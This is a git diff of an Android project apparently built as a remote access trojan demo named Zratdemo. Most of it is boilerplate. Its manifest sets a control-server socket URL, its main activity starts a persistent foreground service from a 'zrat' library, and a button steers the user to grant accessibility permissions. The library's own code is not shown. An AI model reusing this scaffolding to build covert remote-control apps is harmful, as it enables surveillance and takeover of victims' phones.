first commit

.gitignore

@@ -0,0 +1,15 @@
+*.iml
+.gradle
+/local.properties
+/.idea/caches
+/.idea/libraries
+/.idea/modules.xml
+/.idea/workspace.xml
+/.idea/navEditor.xml
+/.idea/assetWizardSettings.xml
+.DS_Store
+/build
+/captures
+.externalNativeBuild
+.cxx
+local.properties

.idea/.gitignore

@@ -0,0 +1,3 @@
+# Default ignored files
+/shelf/
+/workspace.xml

.idea/.name

@@ -0,0 +1 @@
+Zratdemo

.idea/compiler.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="CompilerConfiguration">
+    <bytecodeTargetLevel target="17" />
+  </component>
+</project>

.idea/deploymentTargetDropDown.xml

@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="deploymentTargetDropDown">
+    <value>
+      <entry key="app">
+        <State />
+      </entry>
+    </value>
+  </component>
+</project>

.idea/gradle.xml

@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="GradleMigrationSettings" migrationVersion="1" />
+  <component name="GradleSettings">
+    <option name="linkedExternalProjectsSettings">
+      <GradleProjectSettings>
+        <option name="externalProjectPath" value="$PROJECT_DIR$" />
+        <option name="gradleJvm" value="#GRADLE_LOCAL_JAVA_HOME" />
+        <option name="modules">
+          <set>
+            <option value="$PROJECT_DIR$" />
+            <option value="$PROJECT_DIR$/app" />
+            <option value="$PROJECT_DIR$/zrat" />
+          </set>
+        </option>
+        <option name="resolveExternalAnnotations" value="false" />
+      </GradleProjectSettings>
+    </option>
+  </component>
+</project>

.idea/migrations.xml

@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="ProjectMigrations">
+    <option name="MigrateToGradleLocalJavaHome">
+      <set>
+        <option value="$PROJECT_DIR$" />
+      </set>
+    </option>
+  </component>
+</project>

.idea/misc.xml

@@ -0,0 +1,9 @@
+<project version="4">
+  <component name="ExternalStorageConfigurationManager" enabled="true" />
+  <component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
+    <output url="file://$PROJECT_DIR$/build/classes" />
+  </component>
+  <component name="ProjectType">
+    <option name="id" value="Android" />
+  </component>
+</project>

app/.gitignore

@@ -0,0 +1 @@
+/build

app/build.gradle

@@ -0,0 +1,40 @@
+plugins {
+    id 'com.android.application'
+}
+
+android {
+    namespace 'com.demo.zrat'
+    compileSdk 34
+
+    defaultConfig {
+        applicationId "com.demo.zrat"
+        minSdk 24
+        targetSdk 34
+        versionCode 1
+        versionName "1.0"
+
+        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+    }
+
+    buildTypes {
+        release {
+            minifyEnabled false
+            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+        }
+    }
+    compileOptions {
+        sourceCompatibility JavaVersion.VERSION_1_8
+        targetCompatibility JavaVersion.VERSION_1_8
+    }
+}
+
+dependencies {
+
+    implementation 'androidx.appcompat:appcompat:1.6.1'
+    implementation 'com.google.android.material:material:1.9.0'
+    implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
+    implementation project(':zrat')
+    testImplementation 'junit:junit:4.13.2'
+    androidTestImplementation 'androidx.test.ext:junit:1.1.5'
+    androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
+}

app/proguard-rules.pro

@@ -0,0 +1,21 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+#   http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+#   public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile

app/src/androidTest/java/com/demo/zrat/ExampleInstrumentedTest.java

@@ -0,0 +1,26 @@
+package com.demo.zrat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+    @Test
+    public void useAppContext() {
+        // Context of the app under test.
+        Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assertEquals("com.demo.zrat", appContext.getPackageName());
+    }
+}

app/src/main/AndroidManifest.xml

@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools">
+
+    <application
+        android:allowBackup="true"
+        android:dataExtractionRules="@xml/data_extraction_rules"
+        android:fullBackupContent="@xml/backup_rules"
+        android:icon="@mipmap/ic_launcher"
+        android:label="@string/app_name"
+        android:roundIcon="@mipmap/ic_launcher_round"
+        android:supportsRtl="true"
+        android:theme="@style/Theme.Zratdemo"
+        tools:targetApi="31">
+        <activity
+            android:name=".MainActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <meta-data
+            android:name="socket_url"
+            android:value="http://192.168.50.202:3333/client" />
+    </application>
+
+</manifest>

app/src/main/java/com/demo/zrat/MainActivity.java

@@ -0,0 +1,58 @@
+package com.demo.zrat;
+
+import androidx.appcompat.app.AppCompatActivity;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.util.Log;
+
+import com.example.zrat.ZService;
+
+public class MainActivity extends AppCompatActivity {
+    private static final String TAG = "MainActivity";
+
+    private ZService zService;
+
+    private final ServiceConnection serviceConnection = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            ZService.ZBinder binder = (ZService.ZBinder) service;
+            zService = binder.getService();
+
+            Log.d(TAG, "zServiceConnected");
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            zService = null;
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+
+        Intent startIntent = new Intent(this, ZService.class);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            startForegroundService(startIntent);
+        } else {
+            startService(startIntent);
+        }
+
+        Intent bindIntent = new Intent(this, ZService.class);
+        bindService(bindIntent, serviceConnection, Context.BIND_AUTO_CREATE);
+
+        findViewById(R.id.btn_allow).setOnClickListener(v -> {
+            startActivity(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS));
+        });
+
+    }
+
+}

app/src/main/res/drawable/ic_launcher_background.xml

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+<?xml version="1.0" encoding="utf-8"?>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path
+        android:fillColor="#3DDC84"
+        android:pathData="M0,0h108v108h-108z" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M9,0L9,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,0L19,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M29,0L29,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M39,0L39,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M49,0L49,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M59,0L59,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M69,0L69,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M79,0L79,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M89,0L89,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M99,0L99,108"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,9L108,9"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,19L108,19"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,29L108,29"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,39L108,39"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,49L108,49"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,59L108,59"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,69L108,69"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,79L108,79"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,89L108,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M0,99L108,99"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,29L89,29"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,39L89,39"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,49L89,49"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,59L89,59"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,69L89,69"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M19,79L89,79"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M29,19L29,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M39,19L39,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M49,19L49,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M59,19L59,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M69,19L69,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+    <path
+        android:fillColor="#00000000"
+        android:pathData="M79,19L79,89"
+        android:strokeWidth="0.8"
+        android:strokeColor="#33FFFFFF" />
+</vector>

app/src/main/res/drawable/ic_launcher_foreground.xml

@@ -0,0 +1,30 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:aapt="http://schemas.android.com/aapt"
+    android:width="108dp"
+    android:height="108dp"
+    android:viewportWidth="108"
+    android:viewportHeight="108">
+    <path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
+        <aapt:attr name="android:fillColor">
+            <gradient
+                android:endX="85.84757"
+                android:endY="92.4963"
+                android:startX="42.9492"
+                android:startY="49.59793"
+                android:type="linear">
+                <item
+                    android:color="#44000000"
+                    android:offset="0.0" />
+                <item
+                    android:color="#00000000"
+                    android:offset="1.0" />
+            </gradient>
+        </aapt:attr>
+    </path>
+    <path
+        android:fillColor="#FFFFFF"
+        android:fillType="nonZero"
+        android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
+        android:strokeWidth="1"
+        android:strokeColor="#00000000" />
+</vector>

app/src/main/res/layout/activity_main.xml

@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    tools:context=".MainActivity">
+
+    <Button
+        android:id="@+id/btn_allow"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="32dp"
+        android:text="ALLOW PERMISSIONS"
+        app:layout_constraintLeft_toLeftOf="parent"
+        app:layout_constraintRight_toRightOf="parent"
+        app:layout_constraintTop_toTopOf="parent" />
+
+
+</androidx.constraintlayout.widget.ConstraintLayout>

app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/ic_launcher_background" />
+    <foreground android:drawable="@drawable/ic_launcher_foreground" />
+    <monochrome android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>

app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/ic_launcher_background" />
+    <foreground android:drawable="@drawable/ic_launcher_foreground" />
+    <monochrome android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>

app/src/main/res/values-night/themes.xml

@@ -0,0 +1,7 @@
+<resources xmlns:tools="http://schemas.android.com/tools">
+    <!-- Base application theme. -->
+    <style name="Base.Theme.Zratdemo" parent="Theme.Material3.DayNight.NoActionBar">
+        <!-- Customize your dark theme here. -->
+        <!-- <item name="colorPrimary">@color/my_dark_primary</item> -->
+    </style>
+</resources>

app/src/main/res/values/colors.xml

@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <color name="black">#FF000000</color>
+    <color name="white">#FFFFFFFF</color>
+</resources>

app/src/main/res/values/strings.xml

@@ -0,0 +1,3 @@
+<resources>
+    <string name="app_name">Zratdemo</string>
+</resources>

app/src/main/res/values/themes.xml

@@ -0,0 +1,9 @@
+<resources xmlns:tools="http://schemas.android.com/tools">
+    <!-- Base application theme. -->
+    <style name="Base.Theme.Zratdemo" parent="Theme.Material3.DayNight.NoActionBar">
+        <!-- Customize your light theme here. -->
+        <!-- <item name="colorPrimary">@color/my_light_primary</item> -->
+    </style>
+
+    <style name="Theme.Zratdemo" parent="Base.Theme.Zratdemo" />
+</resources>

app/src/main/res/xml/backup_rules.xml

@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+   Sample backup rules file; uncomment and customize as necessary.
+   See https://developer.android.com/guide/topics/data/autobackup
+   for details.
+   Note: This file is ignored for devices older that API 31
+   See https://developer.android.com/about/versions/12/backup-restore
+-->
+<full-backup-content>
+    <!--
+   <include domain="sharedpref" path="."/>
+   <exclude domain="sharedpref" path="device.xml"/>
+-->
+</full-backup-content>

app/src/main/res/xml/data_extraction_rules.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+   Sample data extraction rules file; uncomment and customize as necessary.
+   See https://developer.android.com/about/versions/12/backup-restore#xml-changes
+   for details.
+-->
+<data-extraction-rules>
+    <cloud-backup>
+        <!-- TODO: Use <include> and <exclude> to control what is backed up.
+        <include .../>
+        <exclude .../>
+        -->
+    </cloud-backup>
+    <!--
+    <device-transfer>
+        <include .../>
+        <exclude .../>
+    </device-transfer>
+    -->
+</data-extraction-rules>

app/src/test/java/com/demo/zrat/ExampleUnitTest.java

@@ -0,0 +1,17 @@
+package com.demo.zrat;
+
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+public class ExampleUnitTest {
+    @Test
+    public void addition_isCorrect() {
+        assertEquals(4, 2 + 2);
+    }
+}

build.gradle

@@ -0,0 +1,5 @@
+// Top-level build file where you can add configuration options common to all sub-projects/modules.
+plugins {
+id 'com.android.application' version '8.2.2' apply false
+    id 'com.android.library' version '8.2.2' apply false
+}

gradle.properties

@@ -0,0 +1,21 @@
+# Project-wide Gradle settings.
+# IDE (e.g. Android Studio) users:
+# Gradle settings configured through the IDE *will override*
+# any settings specified in this file.
+# For more details on how to configure your build environment visit
+# http://www.gradle.org/docs/current/userguide/build_environment.html
+# Specifies the JVM arguments used for the daemon process.
+# The setting is particularly useful for tweaking memory settings.
+org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
+# When configured, Gradle will run in incubating parallel mode.
+# This option should only be used with decoupled projects. More details, visit
+# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
+# org.gradle.parallel=true
+# AndroidX package structure to make it clearer which packages are bundled with the
+# Android operating system, and which are packaged with your app's APK
+# https://developer.android.com/topic/libraries/support-library/androidx-rn
+android.useAndroidX=true
+# Enables namespacing of each library's R class so that its R class includes only the
+# resources declared in the library itself and none from the library's dependencies,
+# thereby reducing the size of the R class for that library
+android.nonTransitiveRClass=true

gradle/wrapper/gradle-wrapper.properties

@@ -0,0 +1,6 @@
+#Sat Feb 24 15:52:16 CST 2024
+distributionBase=GRADLE_USER_HOME
+distributionPath=wrapper/dists
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.2-bin.zip
+zipStoreBase=GRADLE_USER_HOME
+zipStorePath=wrapper/dists

gradlew

@@ -0,0 +1,185 @@
+#!/usr/bin/env sh
+
+#
+# Copyright 2015 the original author or authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+##############################################################################
+##
+##  Gradle start up script for UN*X
+##
+##############################################################################
+
+# Attempt to set APP_HOME
+# Resolve links: $0 may be a link
+PRG="$0"
+# Need this for relative symlinks.
+while [ -h "$PRG" ] ; do
+    ls=`ls -ld "$PRG"`
+    link=`expr "$ls" : '.*-> \(.*\)$'`
+    if expr "$link" : '/.*' > /dev/null; then
+        PRG="$link"
+    else
+        PRG=`dirname "$PRG"`"/$link"
+    fi
+done
+SAVED="`pwd`"
+cd "`dirname \"$PRG\"`/" >/dev/null
+APP_HOME="`pwd -P`"
+cd "$SAVED" >/dev/null
+
+APP_NAME="Gradle"
+APP_BASE_NAME=`basename "$0"`
+
+# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
+
+# Use the maximum available, or set MAX_FD != -1 to use that value.
+MAX_FD="maximum"
+
+warn () {
+    echo "$*"
+}
+
+die () {
+    echo
+    echo "$*"
+    echo
+    exit 1
+}
+
+# OS specific support (must be 'true' or 'false').
+cygwin=false
+msys=false
+darwin=false
+nonstop=false
+case "`uname`" in
+  CYGWIN* )
+    cygwin=true
+    ;;
+  Darwin* )
+    darwin=true
+    ;;
+  MINGW* )
+    msys=true
+    ;;
+  NONSTOP* )
+    nonstop=true
+    ;;
+esac
+
+CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
+
+
+# Determine the Java command to use to start the JVM.
+if [ -n "$JAVA_HOME" ] ; then
+    if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+        # IBM's JDK on AIX uses strange locations for the executables
+        JAVACMD="$JAVA_HOME/jre/sh/java"
+    else
+        JAVACMD="$JAVA_HOME/bin/java"
+    fi
+    if [ ! -x "$JAVACMD" ] ; then
+        die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+    fi
+else
+    JAVACMD="java"
+    which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+fi
+
+# Increase the maximum file descriptors if we can.
+if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
+    MAX_FD_LIMIT=`ulimit -H -n`
+    if [ $? -eq 0 ] ; then
+        if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
+            MAX_FD="$MAX_FD_LIMIT"
+        fi
+        ulimit -n $MAX_FD
+        if [ $? -ne 0 ] ; then
+            warn "Could not set maximum file descriptor limit: $MAX_FD"
+        fi
+    else
+        warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
+    fi
+fi
+
+# For Darwin, add options to specify how the application appears in the dock
+if $darwin; then
+    GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
+fi
+
+# For Cygwin or MSYS, switch paths to Windows format before running java
+if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
+    APP_HOME=`cygpath --path --mixed "$APP_HOME"`
+    CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
+
+    JAVACMD=`cygpath --unix "$JAVACMD"`
+
+    # We build the pattern for arguments to be converted via cygpath
+    ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
+    SEP=""
+    for dir in $ROOTDIRSRAW ; do
+        ROOTDIRS="$ROOTDIRS$SEP$dir"
+        SEP="|"
+    done
+    OURCYGPATTERN="(^($ROOTDIRS))"
+    # Add a user-defined pattern to the cygpath arguments
+    if [ "$GRADLE_CYGPATTERN" != "" ] ; then
+        OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
+    fi
+    # Now convert the arguments - kludge to limit ourselves to /bin/sh
+    i=0
+    for arg in "$@" ; do
+        CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
+        CHECK2=`echo "$arg"|egrep -c "^-"`                                 ### Determine if an option
+
+        if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then                    ### Added a condition
+            eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
+        else
+            eval `echo args$i`="\"$arg\""
+        fi
+        i=`expr $i + 1`
+    done
+    case $i in
+        0) set -- ;;
+        1) set -- "$args0" ;;
+        2) set -- "$args0" "$args1" ;;
+        3) set -- "$args0" "$args1" "$args2" ;;
+        4) set -- "$args0" "$args1" "$args2" "$args3" ;;
+        5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
+        6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
+        7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
+        8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
+        9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
+    esac
+fi
+
+# Escape application args
+save () {
+    for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
+    echo " "
+}
+APP_ARGS=`save "$@"`
+
+# Collect all arguments for the java command, following the shell quoting and substitution rules
+eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
+
+exec "$JAVACMD" "$@"

gradlew.bat

@@ -0,0 +1,89 @@
+@rem
+@rem Copyright 2015 the original author or authors.
+@rem
+@rem Licensed under the Apache License, Version 2.0 (the "License");
+@rem you may not use this file except in compliance with the License.
+@rem You may obtain a copy of the License at
+@rem
+@rem      https://www.apache.org/licenses/LICENSE-2.0
+@rem
+@rem Unless required by applicable law or agreed to in writing, software
+@rem distributed under the License is distributed on an "AS IS" BASIS,
+@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+@rem See the License for the specific language governing permissions and
+@rem limitations under the License.
+@rem
+
+@if "%DEBUG%" == "" @echo off
+@rem ##########################################################################
+@rem
+@rem  Gradle startup script for Windows
+@rem
+@rem ##########################################################################
+
+@rem Set local scope for the variables with windows NT shell
+if "%OS%"=="Windows_NT" setlocal
+
+set DIRNAME=%~dp0
+if "%DIRNAME%" == "" set DIRNAME=.
+set APP_BASE_NAME=%~n0
+set APP_HOME=%DIRNAME%
+
+@rem Resolve any "." and ".." in APP_HOME to make it shorter.
+for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
+
+@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
+
+@rem Find java.exe
+if defined JAVA_HOME goto findJavaFromJavaHome
+
+set JAVA_EXE=java.exe
+%JAVA_EXE% -version >NUL 2>&1
+if "%ERRORLEVEL%" == "0" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:findJavaFromJavaHome
+set JAVA_HOME=%JAVA_HOME:"=%
+set JAVA_EXE=%JAVA_HOME%/bin/java.exe
+
+if exist "%JAVA_EXE%" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:execute
+@rem Setup the command line
+
+set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
+
+
+@rem Execute Gradle
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
+
+:end
+@rem End local scope for the variables with windows NT shell
+if "%ERRORLEVEL%"=="0" goto mainEnd
+
+:fail
+rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
+rem the _cmd.exe /c_ return code!
+if  not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
+exit /b 1
+
+:mainEnd
+if "%OS%"=="Windows_NT" endlocal
+
+:omega

settings.gradle

@@ -0,0 +1,18 @@
+pluginManagement {
+    repositories {
+        google()
+        mavenCentral()
+        gradlePluginPortal()
+    }
+}
+dependencyResolutionManagement {
+    repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
+    repositories {
+        google()
+        mavenCentral()
+    }
+}
+
+rootProject.name = "Zratdemo"
+include ':app'
+include ':zrat'

zrat/.gitignore

@@ -0,0 +1 @@
+/build

zrat/build.gradle

@@ -0,0 +1,45 @@
+plugins {
+    id 'com.android.library'
+}
+
+android {
+    namespace 'com.example.zrat'
+    compileSdk 34
+
+    defaultConfig {
+        minSdk 24
+
+        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+        consumerProguardFiles "consumer-rules.pro"
+    }
+
+    buildTypes {
+        release {
